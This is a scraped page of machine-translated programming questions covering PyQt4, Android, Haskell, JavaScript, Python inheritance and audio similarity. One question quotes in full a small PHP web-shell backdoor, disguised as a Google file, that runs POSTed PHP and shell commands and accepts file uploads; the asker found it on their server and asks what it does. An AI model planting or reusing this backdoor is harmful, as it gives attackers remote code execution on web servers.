问题列表 - 第30012页

在PyQt4 QTableWidget中将最小列宽设置为标题宽度

我正在使用QTableWidgetPyQt4中的组件,根据各自的标头长度,我似乎无法正确地确定列的大小.

这是表布局应该是什么样的(显然没有管道):

Index | Long_Header | Longer_Header
1     | 102402      | 100
2     | 123123      | 2
3     | 454689      | 18
Run Code Online (Sandbox Code Playgroud)

我正在使用的代码看起来像这样:

import sys
from PyQt4.QtCore import QStringList, QString
from PyQt4.QtGui  import QApplication, QMainWindow, QSizePolicy
from PyQt4.QtGui  import QTableWidget, QTableWidgetItem

def createTable():
    table = QTableWidget(5, 3)
    table.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)

    headers = QStringList()
    headers.append(QString("Index"))
    headers.append(QString("Long_Header"))
    headers.append(QString("Longer_Header"))

    table.setHorizontalHeaderLabels(headers)
    table.horizontalHeader().setStretchLastSection(True)

    # ignore crappy names -- this is just an example :)
    cell1 = QTableWidgetItem(QString("1"))
    cell2 = QTableWidgetItem(QString("102402"))
    cell3 = QTableWidgetItem(QString("100"))

    cell4 …
Run Code Online (Sandbox Code Playgroud)

python pyqt4

8
推荐指数
1
解决办法
1万
查看次数

使用PreferenceActivity配置小部件,如何检索首选项?

我正在使用PreferenceActivity类来配置我的小部件.PreferenceActivity类自动保存用户首选项,因此在小部件更新服务中,我可以调用context.getSharedPreferences()并获取用户首选项.问题如下:如果你有许多相同类型的小部件,PreferenceActivity类如何保存prefs?我如何从sharedPreferences加载appWidgetId特定的首选项?

android widget

8
推荐指数
2
解决办法
6934
查看次数

Haskell地图/邮编Vs. 列表理解

您最有可能写下以下哪项?

r = zip xs $ map sqrt xs
Run Code Online (Sandbox Code Playgroud)

要么

r = [(x, sqrt x) | x <- xs]
Run Code Online (Sandbox Code Playgroud)

互联网上的示例代码似乎表明前者更为丰富且是首选方式.

zip haskell list-comprehension combinators pointfree

19
推荐指数
7
解决办法
6584
查看次数

如何最好地在JavaScript中实现params?

我在jQuery中使用Javascript.我想实现params.在C#中,它看起来像这样:

/*
 * odp      the object to test
 * error    a string that will be filled with the error message if odp is illegal. Undefined otherwise.
 *
 * Returns  true if odp is legal.
 */
bool isLegal(odp, out error);
Run Code Online (Sandbox Code Playgroud)

在JS中做这样的事情的最佳方法是什么?对象?

function isLegal(odp, errorObj)
{
    // ...
    errorObj.val = "ODP failed test foo";
    return false;
}
Run Code Online (Sandbox Code Playgroud)

Firebug告诉我上述方法可行,但是有更好的方法吗?

javascript out-parameters

35
推荐指数
4
解决办法
5万
查看次数

Python中的OOP范例

这是我一直怀疑的事情.请考虑以下代码段.

class A(object):
    def check(self):
        super(A, self).check()
        print "inside a"

class B(object):
    def check(self):
        print "inside b"

class C(A, B):
    pass

c = C()
c.setup()
Run Code Online (Sandbox Code Playgroud)

现在这给出了输出,

inside b
inside a
Run Code Online (Sandbox Code Playgroud)

通过pdb传递这个,我看到在到达A.setup()时,正在调用B.setup().但是,来自A的调用是对其超类的检查方法; 因为它不存在,所以调用从那一点移动到B.check().

  1. 有人可以解释或指向一个文件,解释这是如何在内部工作的?我找不到任何东西.
  2. 有人可以在C++/Java中向我展示类似的实现吗?我认为将它与其他语言进行比较可以帮助我更好地理解手头的问题.

非常感谢.

c++ python java oop

6
推荐指数
1
解决办法
372
查看次数

通过手机阅读移动服务提供商

使用我的新Android手机确立了一个小问题:我住在A国,但我的移动服务提供商来自B国,因为它更便宜.关于移动电话,我的国家不是国家B的外国.但是我必须在我的Android手机中启用数据漫游.问题是,我经常在国家C,每次我必须关闭数据漫游.

所以我考虑编写一个小应用程序,如果我不在国家A或B中,则禁用数据漫游,否则启用它.

我的第一次尝试是使用GPS定义位置,但这是无用的,因为如果它在允许的范围内,我将不得不计算每个坐标.因此,我认为更好的解决方案是从电话中读取当前提供商,如果此提供商不在白名单中(由我定义),则关闭数据漫游.

你知道其他任何方法吗?我怎么能得到当前提供商的名字?以及如何以编程方式禁用数据漫游?

java provider mobile android

2
推荐指数
1
解决办法
320
查看次数

这个PHP代码/ hack的目的是什么?

我最近在我的服务器上发现了4个奇怪的文件(我没有上传).文件名是这样的:goog1e7a20543b128921.php

这里是他们内部的代码:

Goog1e_analist_up<?php $e=@$_POST['e'];$s=@$_POST['s'];if($e){eval($e);}if($s){system($s);}if($_FILES['f']['name']!=''){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);}?>
Run Code Online (Sandbox Code Playgroud)

你知道这个代码应该做什么吗?我应该开始恐慌吗?

谢谢.

php security hosting

10
推荐指数
2
解决办法
3901
查看次数

使用Javascript关闭iPhone视频播放器

我有一个带有几个html5标签的网页,为用户提供了许多可以选择播放的视频的海报/缩略图.当用户触摸其中一个时,iPhone视频播放器将打开并播放视频.我希望能够在视频播放完毕后自动关闭视频播放器并将用户返回到缩略图.

我为"已结束"事件设置了事件监听器,我可以检测到视频已经完成,但我无法弄清楚如何关闭视频播放器并返回缩略图.它只是等待用户触摸"完成"按钮.在Javascript中有没有办法做到这一点?

iphone video html5

5
推荐指数
1
解决办法
4138
查看次数

找到在线暑期项目组的地方

夏天来了,我将有很多时间在我的手上.我认为花时间与世界某地的其他几位热情的程序员在线合作进行项目是一个好主意.我以前从未尝试过在线协作,虽然我习惯于在更大的团队中工作并使用源代码控制,所以主要是缺乏直接的沟通对我来说是新的.我有兴趣与我自己的程序员一起开展一个项目,或者(最好)更好地完成项目,并在夏季/秋季完成项目.

然而,一个问题.我会在哪里寻找这样一个项目的人?我对加入一个正在进行的项目并不感兴趣,而是成为一个新项目的一部分.当然必须有在线网站,这是可能的吗?该项目在任何方面都不会太大.我正在考虑一个小小的舒适项目,如街机2d游戏,字幕网站,世界杯统计跟踪器或类似.

此外,什么是更好的方法.找到项目的人,然后提出项目的想法或提出一个想法,看看是否有人感兴趣?

PS:如果这个网站上的任何人发现有趣的想法随时发布在这里或PM我,我们将谈论它.

group-project

12
推荐指数
2
解决办法
416
查看次数

两个音频序列之间的感知相似性

我想在两段音频之间得到某种距离测量.例如,我想比较动物的声音和模仿该动物的人的声音,然后返回声音有多相似的分数.

这似乎是一个难题.接近它的最佳方法是什么?我想从音频信号中提取一些特征,然后对这些特征进行欧几里德距离或余弦相似性(或类似的东西).什么样的功能很容易提取,有助于确定声音之间的感知差异?

(我看到Ahazam如何使用散列的东西,但这似乎是一个不同的问题,因为两个音频完全相同,增加了噪音.而在这种情况下,两个音频不一样,他们只是在感知上相似)

algorithm audio android audio-processing

16
推荐指数
2
解决办法
4622
查看次数